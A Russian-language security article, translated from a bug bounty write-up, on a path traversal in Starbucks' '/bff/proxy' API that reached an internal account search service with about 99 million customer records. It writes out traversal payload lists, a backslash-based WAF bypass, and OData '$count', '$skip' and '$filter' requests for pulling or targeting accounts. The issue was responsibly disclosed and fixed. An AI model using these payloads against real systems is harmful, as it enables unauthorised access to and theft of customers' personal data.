Взлом Starbucks и получение доступа к 100-миллионной клиентской базе

Дата: 22.06.2020. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Взлом Starbucks и получение доступа к 100-миллионной клиентской базе

В этой статье пойдет речь о поиске уязвимостей в системе, которая используется компанией Starbucks, а также будет подробно описан список действий, ведущих к получению секретной информации о клиентах фирмы.

Пытаясь купить продукт на сайте Starbucks, человек не может не заметить множество вызовов API, которые сразу же кажутся подозрительными. Есть запросы, отправляемые через API с префиксом “/bff / proxy/», которые возвращают данные, идущие от другого хоста.

Поскольку в Starbucks работает программа Bug bounty, достаточно интересно будет изучить все ее возможности и имеющиеся уязвимости.

Ниже приведен пример одного из тех вызовов API, которые возвращают пользовательскую информацию:

POST /bff/proxy/orchestra/get-user HTTP/1.1 Host: app.starbucks.com
{ "data": { "user": { "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F", "firstName": "Sam", "lastName": "Curry", "email": "samwcurry@gmail.com", "partnerNumber": null, "birthDay": null, "birthMonth": null, "loyaltyProgram": null } } }

Термин «bff» фактически расшифровывается как «Backend for Frontend» и указывает на то, что приложение, с которым взаимодействует пользователь, передает запрос на другой хост для получения своей фактической логики деятельности или функциональности в целом. Быстрый и чрезмерно упрощенный вариант того, как это может выглядеть, приведен на картинке ниже:

Взлом Starbucks и получение доступа к 100-миллионной клиентской базе

В приведенном выше примере хост «app.starbucks.com» не будет иметь доступа к логике или данным, к которым обращается конкретная конечная точка, но будет служить посредником для гипотетического второго хоста «internal.starbucks.com».

Здесь следует задать себе следующие вопросы:

  • Как пользователь может проверить маршрутизацию приложения?
  • Если приложение направляет запросы на внутренний хост, то как выглядит модель разрешений?
  • Может ли пользователь контролировать пути или параметры запроса, отправленного на внутренний хост?
  • Существует ли открытый редирект на внутреннем хосте, и если да, то будет ли приложение ему следовать?
  • Должен ли возвращаемый контент соответствовать соответствующему типу: это синтаксический анализ JSON, XML или любых других данных?

Первое, что стоит сделать, — это попытаться выйти из вызова API, чтобы загрузить его другими путями. Метод, которым это может быть достигнуто, заключается в отправке следующих полезных нагрузок:

/bff/proxy/orchestra/get-user/..%2f /bff/proxy/orchestra/get-user/..;/ /bff/proxy/orchestra/get-user/../ /bff/proxy/orchestra/get-user/..%00/ /bff/proxy/orchestra/get-user/..%0d/ /bff/proxy/orchestra/get-user/..%5c /bff/proxy/orchestra/get-user/..\ /bff/proxy/orchestra/get-user/..%ff/ /bff/proxy/orchestra/get-user/%2e%2e%2f /bff/proxy/orchestra/get-user/.%2e/ /bff/proxy/orchestra/get-user/%3f (?) /bff/proxy/orchestra/get-user/%26 (&) /bff/proxy/orchestra/get-user/%23 (#)

К сожалению, ничего из этого не работает. Все они возвращают одну и ту же ошибку 404, которую обычно показывает при попытке загрузить страницу, которая отсутствует на сайте.

Это указывает на то, что только потому, что в запросе присутствовал “/bff/proxy”, он не смог перенести все, что отправлял пользователь.

В этом случае можно подумать о “/bff / proxy/orchestra/get-user » как о вызываемой функции, которая не принимает пользовательский ввод. Есть шанс, что имеется возможность найти ту функцию, которая действительно принимает пользовательский ввод, например “/bff/proxy/users/:id”, где будет место, чтобы проверить, какие данные она будет действительно принимать. Если бы был найден вызов API, подобный этому, вероятно, повезло бы больше.  Однако, пытаясь обойти полезные нагрузки и отправить другие данные, пользователь понимает, что функции, на самом деле, принимали пользовательский ввод.

После были найдены еще несколько вызовов API. Первый из них, который принимал пользовательский ввод, был таким:

GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1 Host: app.starbucks.com

Эта конечная точка отличалась от конечной точки «get-user», поскольку последний путь существовал как параметр, в который были введены произвольные входные данные. Если бы этот вход обрабатывался как путь во внутренней системе, то потенциально можно было бы бы пересечь его и получить доступ к другим внутренним конечным точкам.

К счастью, первый тест, который был проведен, вернул действительно хороший индикатор того, что есть возможность пересечь конечные точки:

GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1 Host: app.starbucks.com{ "errors": [ { "message": "Not Found", "errorCode": 404, ...

Этот ответ JSON был таким же ответом JSON, как и любой другой обычный вызов API в разделе “/bff/proxy”. Это означало, что пользователь попал во внутреннюю систему и успешно изменил путь, по которому обращался. Следующим шагом нужно распланировать действия во внутренней системе, и лучший способ это сделать — добраться вниз, к самому «корню», определив первый путь, который уже вернул «400 ошибок».

К сожалению, сперва пользователь столкнулся с небольшой проблемой. Там был WAF, который не давал возможности добраться к «корню»:

GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1 Host: app.starbucks.comHTTP/1.1 403 Forbidden

К счастью, WAF представляет собой достаточно хрупкую систему для взлома:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1 Host: app.starbucks.com{ "errors": [ { "message": "Not Found", "errorCode": 404, ...

В конце концов, после 7 пройденных путей была получена следующая ошибка:

GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1 Host: app.starbucks.com{ "errors": [ { "message": "Bad Request", "errorCode": 400, ...

Это означало, что корень внутреннего API будет находиться 6 путей назад, и можно будет отобразить его с помощью инструмента лобовой атаки каталога или просто Burp Suite и необходимого списка слов.

После этого были обнаружены сразу несколько путей в корне внутренней системы, когда пользователь наблюдал за HTTP-запросом, посылаемым к ней. Код перенаправления был возвращен с помощью Burp:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search Host: app.starbucks.comHTTP/1.1 301 Moved Permanently Server: nginx Content-Type: text/html Content-Length: 162 Location: /search/

Теперь нужно сосредоточиться на каждом пути отдельно. После запуска сканирования стало понятно, что “v1” находился под «search», а под «v1» были скрыты «учетные записи» и «адреса».

Конечная точка «/search/v1/accounts» была поиском данных обо всех производственных учетных записях.

«/Search/v1/accounts» относился к Microsoft Graph, что давало доступ ко всем учетным записям Starbucks.

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1 Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 1, "ExternalId": "12345", "UserName": "UserName", "FirstName": "FirstName", "LastName": "LastName", "EmailAddress": "0640DE@example.com", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "1900-01-01T00:00:00Z", "RegistrationSource": "iOSApp", "LastUpdated": "2017-06-01T15:32:56.4925207Z" }, ... lots of production accounts

Кроме того, конечная точка «адресов» возвращала что-то подобное:

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1 Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses", "value": [ { "Id": 1, "AccountId": 1, "AddressType": "3", "AddressLine1": null, "AddressLine2": null, "AddressLine3": null, "City": null, "PostalCode": null, "Country": null, "CountrySubdivision": null, "FirstName": null, "LastName": null, "PhoneNumber": null }, ... lots of production addresses

Это служба выглядела, как учет производственных счетов и адресов. После дальнейшего изучение сервиса, пользователь решает подтвердить его подозрения в наличии уязвимостей с помощью Microsoft Graph.

Взлом Starbucks и получение доступа к 100-миллионной клиентской базе
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\ .\..\.\..\.\..\.\Search\v1\Accounts?$count=true Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "@odata.count":99356059 }

Добавив параметр «$count» из URL-адреса Microsoft Graph, можно понять, что служба имеет доступ почти к 100 миллионной клиентской базе. Злоумышленник может украсть эти данные, введя такие параметры, как «$skip» и «$count», чтобы получить все учетные записи пользователей.

Кроме того, чтобы точно найти конкретную учетную запись пользователя, мошенник может использовать параметр «$filter» :

GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1 Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 81763022, "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354", "UserName": "redacted@gmail.com", "FirstName": "Justin", "LastName": "Gardner", "EmailAddress": "redacted@gmail.com", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "2018-05-19T18:52:15.0763564Z", "RegistrationSource": "Android", "LastUpdated": "2020-05-16T23:28:39.3426069Z" } ] }

Было еще несколько API, к которым можно было получить доступ. Некоторые из других конечных точек, которые были обнаружены, представали собой:

barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver

Эти другие внутренние конечные точки, скорее всего (хотя и не точно), позволили бы хакеру получить доступ и изменить такие параметры, как платежный адрес, подарочные карты, награды и предложения.

К счастью, команда Starbucks очень быстро отреагировала на эту проблему и исправила ее в течение одного дня.

Итог

  • Запросы к конечным точках в «/bff/proxy/» для “app.starbucks.com” были перенаправлены для получения и сохранения данных.
  • Можно было обойти эти вызовы API, чтобы попасть в URL-адреса, которые не должны были находится на внутреннем хосте.
  • Внутренний API имел открытый экземпляр Microsoft Graph, который позволил бы злоумышленнику эксфильтрировать почти 100 миллионов записей пользователей, включая имена, электронные письма, телефонные номера и адреса.

Автор переведенной статьи: Hungry Bytes.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Об авторе Игорь Б

Представитель редакции CISOCLUB. Добавляю статьи на сайт.
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *